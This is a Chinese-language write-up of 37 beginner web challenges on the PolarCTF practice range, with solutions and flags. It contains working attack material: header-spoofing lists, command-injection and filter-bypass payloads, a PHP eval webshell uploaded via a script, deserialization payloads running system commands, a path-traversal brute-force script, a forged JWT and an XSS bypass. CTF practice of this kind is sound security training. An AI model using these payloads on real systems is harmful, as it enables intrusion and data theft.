Web刷题之polarctf靶场(简单)
PolarCTF
1.XFF

打开靶场发现需要ip为1.1.1.1的用户才行, 打开BurpSuite进行抓包并对数据包进行修改,根据题目XFF提示

flag{847ac5dd4057b1ece411cc42a8dca4b7}
对此题所考察的知识进行一个扩展(对于构造本地用户语句)
X-Forwarded-For:127.0.0.1
X-Forwarded:127.0.0.1
Forwarded-For:127.0.0.1
Forwarded:127.0.0.1
X-Forwarded-Host:127.0.0.1
X-remote-IP:127.0.0.1
X-remote-addr:127.0.0.1
True-Client-IP:127.0.0.1
X-Client-IP:127.0.0.1
Client-IP:127.0.0.1
X-Real-IP:127.0.0.1
Ali-CDN-Real-IP:127.0.0.1
Cdn-Src-Ip:127.0.0.1
Cdn-Real-Ip:127.0.0.1
CF-Connecting-IP:127.0.0.1
X-Cluster-Client-IP:127.0.0.1
WL-Proxy-Client-IP:127.0.0.1
Proxy-Client-IP:127.0.0.1
Fastly-Client-Ip:127.0.0.1
True-Client-Ip:127.0.0.1
Host: 127.0.0.1
2.爆破

打开靶场发现是PHP代码,大概就是在目录/flag.php中藏着flag

flag{8277e0910d750195b448797616e091ad}
此题也可以通过使用工具dirsearch来爆破出目录

对此题的php源码进行一个扩展
1. substr()函数返回字符串中的一部分
substr(string, start, length)其中string和start是必需参数而length是可选参数
注释: 如果start参数是负数且length小于或等于start, 则默认length为0
对于start参数的详细解释:
(1) 若为正数, 即在字符串的指定位置开始
(2) 若为负数, 即在从字符出结尾开始的指定位置开始
(3) 若为0, 即在字符串中的第一个字符处开始
对于length参数的详细解释:
(1) 若为正数, 即从start参数所在的位置返回的长度
(2) 若为负数, 即从字符串末端返回的长度
返回值: 返回字符串的提取部分, 若失败则返回FALSE, 否则返回一个字符串
2. intval() 函数用于获取变量的整数值。
intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
3.login

打开靶场, 先F12查看页面源码, 发现存在两串数字, 猜测为学号和密码

回显发现成功登录, 根据猜测修改学号最后两位,分别尝试了02-05发现爆出来flag的头, 那就打开BurpSuite进行爆破


flag{dlcg}
4.iphone

点开靶场映入眼帘的就是hate windows, 不妨点击Enter键试试

说明需要从iphone或ipad访问才行, 我们打开BurpSuite进行抓包修改

flag{ba4c2f175f0dba2f2974e676c6dfbbab}
5.$$

打开靶场发现要求GET传参, 但是把能过滤的基本上都过滤了, 我遇事不决就先dirsearch梭哈一下无果, 就去网上搜索有没有什么办法, 发现可以用超全局变量GLOBALS

flag{9f8a2133f0cad361ff6d22a445c2531a}
对于超全局变量GLOBALS和PHP相关的知识进行补充
PHP 中的许多预定义变量都是“超全局的”,这意味着它们在一个脚本的全部作用域中都可用。在函数或方法中无需执行 global $variable; 就可以访问它们。
$GLOBALS — 引用全局作用域中可用的全部变量,与其他超全局变量不同的是$GLOBALS在PHP代码中任何地方总是可用的
**$GLOBALS与关键字global的区别**
$GLOBALS: 用于访问所有全局变量(来自全局范围的变量), 即可以从PHP脚本中的任何范围访问的变量。
global关键字: 用于在函数内部声明全局变量。但是这个全局变量不是应用于整个网站,而是应用于当前页面,包括include或require的所有文件。
****总结:
用 global 时,需要在每个函数内部声明想要使用的全局变量。
用 $GLOBALS 时,可以直接访问和修改全局变量,不需要在函数内部声明。
6.rce1

打开靶场知道这是一道命令执行的题目, 提示过滤了空格, 先将藏有flag的文件名回显出来, 此处我们用&ls来获取文件名

有了文件名就直接cat就好了, 题目提示说过滤了空格, 我们用${IFS}即可, 没想到还把flag藏在源代码中

flag{a3949821f7627a7fd30ab0722ff9b318}
对于此题的知识点进行补充(拼接符命令)
| 只执行第二个命令
|| 先执行第一个命令, 若第一个命令执行成功才可继续执行第二个命令
& 无论第一个命令是否执行成功都将继续执行第二个命令
&& 必须要两个命令都能成功才能执行
; 与&的用法类似(此题目也可以直接;ls)
7.GET-POST

打开靶场, 发现需要进行GET传参, 我们这边直接用HackBar来进行传参

再根据提示, 进行POST传参即可

flag{a52b7cac3af0b081349001c92d79cc0a}
8.被黑掉的站

打开靶场发现并没有什么异样的地方但提示该网站还存在马, 用工具dirsearch扫目录, 发现存在/index.php.bak和/shell.php, 分别对其进行访问

猜测该为字典, 再对/shell.php进行访问

打开BurpSuite用刚刚得到的字典进行爆破

flag{8e539a7a46fea05dea18b9b9f9ff6a63}
9.swp
用工具dirsearch扫一下目录, 发现存在/.index.php.swp
**
**
访问该目录会发现得到下面代码
function jiuzhe($xdmtql){ //传入xdmtql变量
return preg_match('/sys.*nb/is',$xdmtql); //匹配变量
}
$xdmtql=@$_POST['xdmtql'];
//判断变量是否为数组
if(!is_array($xdmtql)){
//利用函数jiuzhe来判断
if(!jiuzhe($xdmtql)){
//绕过preg_match函数后匹配变量,匹配到的话输出flag
if(strpos($xdmtql,'sys nb')!==false){
echo 'flag{*******}';
}else{
echo 'true .swp file?';
}
}else{
echo 'nijilenijile'; //匹配到/sys.*nb/is的话输出
}
}
思考preg_match()绕过:
我们都知道preg_match()的回溯次数默认是1000000次(中英文次数不同, 实测回溯为100w次), 但也是可以设定的, 具体可以在php.ini中查到
exp:
import requests
result = requests.post("http://77e3de24-d309-4b3c-84dc-b78d45c38ed3.www.polarctf.com:8090/", data={"xdmtql":"sys nb"+"aa"*1000000})
print(result.text)
#flag{4560b3bfea9683b050c730cd72b3a099}
10.简单rce
打开靶场发现是代码审计, 大概了解过滤掉了命令执行函数、输出函数以及空格

我们通过执行函数passthru()来替换system(), 空格就用${IFS}替代即可

ls命令找到flag文件, 用sort来代替cat来读取flag文件

#flag{j6856fd063f0a04874311187da1191h6}
对绕过做一个总结:
1. 命令执行函数
system() //输出并且返回最后一行shell的结果
exec() //不会输出结果, 返回最后一行shell的结果, 而且所有结果可以保存到数组中返回
passthru() //只调用写进去的命令, 并把命令的与逆行结果直接输出到设备上(可以替换system)
2. 输出函数
cat 从第一行开始将所有内容输出
tac 从最后一行倒序将所有内容输出
nl 显示时输出行号(与cat -n类似)
more 根据窗口大小, 一页一页显示文件内容
less 和more类似, 优点在于可以往前翻页, 还能搜索字符
head 只显示头几行
tail 只显示最后几行
sort 文本内容排列
3. 空格绕过
${IFS}
$IFS$9
{IFS}$9
重定向符: <>(但是不支持后面跟通配符)
水平制表符%09
%0a 回车
%0d 换行
11.蜜雪冰城吉警店
点开靶场, 发现题目说点到隐藏奶茶(也就是第九杯)就给flag, 但是明显就只有八杯, 猜测大概率考的是前端代码修改

把id=1修改为id=9, 然后回到页面点击原味奶茶即可弹出flag

#flag{7d43cc8863ad0ee649048e562fde53ec}
12.召唤神龙
打开靶场发现是一个游戏, 爽玩了几把发现通关有难度啊

直接F12查看界面源码, 在main.js文件中发现一串文字, 猜测是jsfuck(源于brainfuck)

上工具, 解密得到flag
#flag{fdf9a88ec4fdd9e3dedaafeece5cc248}

13.seek flag
打开靶场按F12, 发现给出flag的提示, 我们用工具dirsearch扫描一下, 发现存在robots.txt文件


访问即可得到第三段flag3:c0ad71dadd11}

再通过BurpSuite抓包发包试试看能不能得到什么回显, 发现可以得到第二段flag2:3ca8737a70f029d

我们注意到在返回包中有个Set-Cookie, 我们尝试将id改为1发包, 得到flag1:flag{7ac5b

拼接三段flag得到最终结果:flag{7ac5b3ca8737a70f029dc0ad71dadd11}
14.jwt
打开靶场, 发现一个登录和注册, 猜测考察垂直越权, 通过普通用户提权到admin用户

用自己注册的用户名登录后按F12, 由于题目是jwt, 我们找出jwt的值, 然后用工具对其进行爆破得到密钥:SYSA
对JWT进行一个解释:
JWT(json web token),令牌以紧凑的形式由三部分组成,这些部分由点(.)分隔。

再通过在线网站:https://jwt.io/, 对所得到的jwt值进行解码(如若是线下赛, 可以以.来分割, 每段都用base64解码即可)
其次通过修改用户名为admin, 加入密钥, 得到新的jwt的值:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.9avq5ApZ-XZul2kbon8z2cB6Y4bNru_0nnIZfJ1mO50

修改网页的jwt值为新的jwt值, 然后重新访问网页即可

这样子我们就越权成功, 点开个人中心即可拿到flag

#flag{ec39c705cfb5295f9dddcedc819a1659}
15.签到
打开靶场, 发现提交的按钮点不了

果然打开BurpSuite进行抓包, 先通过发包看返回包, 发现需要用POST请求, 且参数值为key, 第一次尝试key=flag


再根据提示, 对参数值进行修改即可得到flag

#flag{fa3f77dd58a0a8f990bb6292da75618f}
16.session文件包含
打开靶场, 用BurpSuite进行抓包, 发现返回包中有Set-Cookie参数, 再根据题目描述, 猜测存在伪协议

将得到的base64密文, 放到厨子上解密

这里我们猜测session文件在/tmp目录下, 文件格式为sess_+sessionid, 这边sessionid在返回包中有

通过cat或者tac读取flag

#flag{43306e8113f53ece238c0a124432ce19}
17.Don't touch me
打开靶场, 按F12, 找到提示

接着直接F12大法, 跟着它的提示一步步走

访问fla.php即可

#flag{0cee5a97f12b172ceeea2e9f67b7413e}
18.php very nice
本题考察基础的反序列化

<?php
class Example
{
public $sys="system('ls');";
}
$a = new Example();
echo serialize($a);
?>
#先将所有文件回显出来, O:7:"Example":1:{s:3:"sys";s:13:"system('ls');";}

发现存在flag.php, 因为它会直接执行, 我们用include+伪协议来读取
<?php
class Example
{
public $sys="include('php://filter/read=convert.base64-encode/resource=flag.php');";
}
$a = new Example();
echo serialize($a);
?>
#O:7:"Example":1:{s:3:"sys";s:69:"include('php://filter/read=convert.base64-encode/resource=flag.php');";}

base64解密即可
#flag{202cb962ac59075b964b07152d234b70}
参考网上一把梭哈的做法
<?php
class Example
{
public $sys="system('tac f*');";
}
$a = new Example();
echo serialize($a);
?>
#O:7:"Example":1:{s:3:"sys";s:17:"system('tac f*');";}

#flag{202cb962ac59075b964b07152d234b70}
19.cookie欺骗
抓包, 修改Cookie的值为admin即可

#flag{10e35c76602b330149ef009e0b484d8f}
20.upload
打开靶场, 发现要上传一句话木马, 发现有code里面应该藏着黑名单

代码审计后发现, 可以尝试双写文件后缀名尝试绕过

一句话木马
<?php @eval($_POST['aaa']);?>

再通过中国蚁剑进行连接即可

#flag{a89f40341f4271659154829a2215f428}
21. 干正则
打开靶场发现是简单的php代码审计, 先构造id=a[0]=www.polarctf.com, 由于要ping两次, 所以先构造cmd=|ls
<?php
error_reporting(0);
if (empty($_GET['id'])) {
show_source(__FILE__);
die();
} else {
include 'flag.php';
$a = "www.baidu.com";
$result = "";
$id = $_GET['id'];
@parse_str($id);
echo $a[0];
if ($a[0] == 'www.polarctf.com') {
$ip = $_GET['cmd'];
if (preg_match('/flag\.php/', $ip)) {
die("don't show flag!!!");
}
$result .= shell_exec('ping -c 2 ' . $a[0] . $ip);
if ($result) {
echo "<pre>{$result}</pre>";
}
} else {
exit('其实很简单!');
}
}

再由于正则匹配, 我们将cmd修改为cmd=|tac f*

#flag{e44882416c9fa79cc5a6a51e6e19cdbc}
22. cool
打开靶场, 发现是简单的php代码审计, 需要GET传一个参数a, 但是系统命令执行函数system()被禁止了, 这里我们用passthru()来替代, a=passthru('ls');
<?php
if(isset($_GET['a'])){
$a = $_GET['a'];
if(is_numeric($a)){
echo "no";
}
if(!preg_match("/flag|system|php/i", $a)){
eval($a);
}
}else{
highlight_file(__FILE__);
}
?>

由于flag字样也被禁止了, 我们用通识符来得到flag即a=passthru('tac f*');

#flag{4512esfgsdIirhgui82545er4g5e5rg4er1}
知识扩展(PHP中常见的命令执行函数和代码执行函数)
1. 命令执行函数
system(), passthru(), exec(), pcntl_exec(), shell_exec(), popen()/proc_popen(), 反引号``
system()作用: 将字符串作为OS命令执行, 自带输出功能
passthru()作用: 将字符串作为OS命令执行,不需要输出执行结果,且输出全部的内容。
exec()作用: 将字符串作为OS命令执行,需要输出执行结果,且它只会输出最后一行的内容。
反引号的作用: [``]反引号里面的代码也会被当作OS命令来执行
2.代码执行函数
eval(),assert(),call_user_func(),create_function(),array_map(),call_user_func_array(),array_filter(),uasort(),preg_replace()
23. uploader
无任何过滤的文件上传, 直接编写脚本

#python
import requests
url = "http://0105ca15-ea17-4e7d-81f0-532138331d00.www.polarctf.com:8090/"
files = {'file': open('E:\桌面\webshell.php', 'rb')}
response = requests.post(url, files=files)
#如果状态码是200
if response.status_code == 200:
print("Sucessfully")
print(f"服务器返回信息: {response.text}")
else:
print(f"状态码为: {response.status_code}")

拼接$sandBox和文件名(http://0105ca15-ea17-4e7d-81f0-532138331d00.www.polarctf.com:8090/149c0f3372e25adcc21feb96ea439698/webshell.php), 再用蚁剑连接即可

#flag{256d5ca173f463165db6ed366b597da8}
24. 覆盖
和上面有一题一样
#flag{e44882416c9fa79cc5a6a51e6e19cdbc}
25. PHP反序列化初试
一眼链子为 Easy->__wakeup()->Evil->__toString()

先构造ls文件:O:4:"Easy":1:{s:4:"name";O:4:"Evil":2:{s:4:"evil";s:2:"ls";s:9:"%20Evil%20env";N;}}

再去读取flag: O:4:"Easy":1:{s:4:"name";O:4:"Evil":2:{s:4:"evil";s:12:"tac f1@g.php";s:9:"%20Evil%20env";N;}}

#flag{08a46a069bd77e33531bb2ab244f4196}
26. 机器人
根据题目名称, 猜测存在/robots.txt, flag{4749ea1ea481a5d

发现有Disallow禁止目录收录, 猜测剩下一半flag在里面

#flag{4749ea1ea481a5d56685442c8516b61c}
27. 扫扫看
根据题目提示, 用dirsearch扫一下


#flag{094c9cc14068a7d18ccd0dd3606e532f}
28. debudao
打卡靶场F12查看源代码得到fake_flag

通过BurpSuite发包试试看看有什么回显

#flag{72077a55w312584wb1aaa88888cd41af}
29. 审计
直接搜索找到特殊值绕过即可

或者

#flag{1bc29b36f623ba82aaf6724fd3b16718}
30. upload1
可以看到过滤的后缀名


上传成功用蚁剑连接即可拿到flag
#flag{adbf5a778175ee757c34d0eba4e932bc}
31. rapyiquan
要GET传参?c_md=, 但是代码中下划线_被禁止使用了, 我们用空格进行绕过
由于ls也被禁止了我们用反斜线\进行绕过
?c md=l\s /

再用相同的方法读取flag
?c md=t\ac /fl\ag.php

#flag{cf7d0e14fbf7845e50d53a478d3d10eb}
32. bllbl_ser1
F12查看源代码发现php代码, 考察简单的php反序列化
代码审计后, 大概的链子就是__destruct()->close()

exp
<?php
class bllbl{
public $qiang;//我的强
}
class bllnbnl{
public $er;//我的儿
}
$a = new bllbl();
$b = new bllnbnl();
//列出所有文件目录
$b -> er = "system('ls /');";
$a -> qiang = $b;
echo serialize($a);
?>
//O:5:"bllbl":1:{s:5:"qiang";O:7:"bllnbnl":1:{s:2:"er";s:15:"system('ls /');";}}

<?php
class bllbl{
public $qiang;//我的强
}
class bllnbnl{
public $er;//我的儿
}
$a = new bllbl();
$b = new bllnbnl();
//读取flag
$b -> er = "system('tac /f*');";
$a -> qiang = $b;
echo serialize($a);
?>
//O:5:"bllbl":1:{s:5:"qiang";O:7:"bllnbnl":1:{s:2:"er";s:18:"system('tac /f*');";}}

flag{f2fe05c8ecca794c80e3a46d7fa5b47e}
33. 1ncIud3
看题目猜测是考察文件包含知识点, 先用dirsearch工具扫描一下

访问/flag.php和?page=flag发现两个显示的内容是一样的更加确定考察文件包含
像题目一样替换了一些字符就是在告诉我们文件名不是单单flag, 可能是f1ag、f1a9、fla9等等, 直接编写脚本遍历这些目录
过滤一些符号感觉是对../的过滤, 就采取双写../的形式

exp
import requests
import re
from itertools import product
# 定义字符与替代字符的映射
replace_map = {
'f': ['F', 'f'],
'l': ['L', 'l', '1', '|'],
'a': ['A', 'a', '4', '@'],
'g': ['G', 'g', '9', '6'],
}
# 生成所有可能的组合
def generate_variants(base_string):
variants = []
for letters in product(*[replace_map[char] for char in base_string]):
variants.append(''.join(letters))
return variants
# 检查这些组合是否能得到flag
def check(base_url, variants):
for variant in variants:
url = f"{base_url}{variant}"
try:
response = requests.get(url)
response.raise_for_status()
if 'flag{' in response.text:
print(f"找到flag在: {url}")
flags = re.findall(r'flag{[^}]*}', response.text)
for flag in flags:
print(flag)
break
except requests.RequestException as e:
print(f"请求失败: {url} - {e}")
# 基础url
# 这里根据提示得知../被过滤了, 解决办法就是双写../
base_url = "http://d199610e-f47d-42c8-b51f-14f3d244b54a.www.polarctf.com:8090/?page=..././..././"
# 生成flag的变种
base_string = "flag"
variants = generate_variants(base_string)
# 检查所有变种
check(base_url, variants)
#flag{b7e5578d5f11ee7db50f30596052293f}
34. 投喂
根据文本提示内容自己编写php代码, 并需要POST传参

exp
<?php
class User {
public $username;
public $is_admin;
function __construct($username, $is_admin){
$this -> username = $username;
$this -> is_admin = $is_admin;
}
}
$a = new User("user", true);
echo serialize($a);
?>
//O:4:"User":2:{s:8:"username";s:4:"user";s:8:"is_admin";b:1;}

#flag{6f450d5d498782e74580b57b1bdd138e}
35. 来个弹窗
xss漏洞, 首先进行基本测试<script>alert(1)</script>

无回显, 尝试双写绕过。
<scrscriptipt>alert(1)</scrscriptipt>

成功攻击, 看到一张图片, flag是人物名称的md5加密

百度识图得到该人物名为白金之星
#flag{dbd65172f0a14c279bc461cd0185c70a}
36. background
查看页面源码, 发现script.js, 点击

发现存在change_background.php, 其中d和p是POST传参数, 可以进行RCE


#flag{cc59f02fd69119d043f8b06d0ab3eb3f}
37. 0e事件

提交a=1发现报错

根据题目0e事件出发, 猜想为php中的科学计数法, 即0e开头的数字会被解析成科学计数法, 需要找到一个md5后值为0e开头的即可。
?a=QNKCDZO

#flag{adc394229ba455abbe56e057f20f883e}
浙公网安备 33010602011771号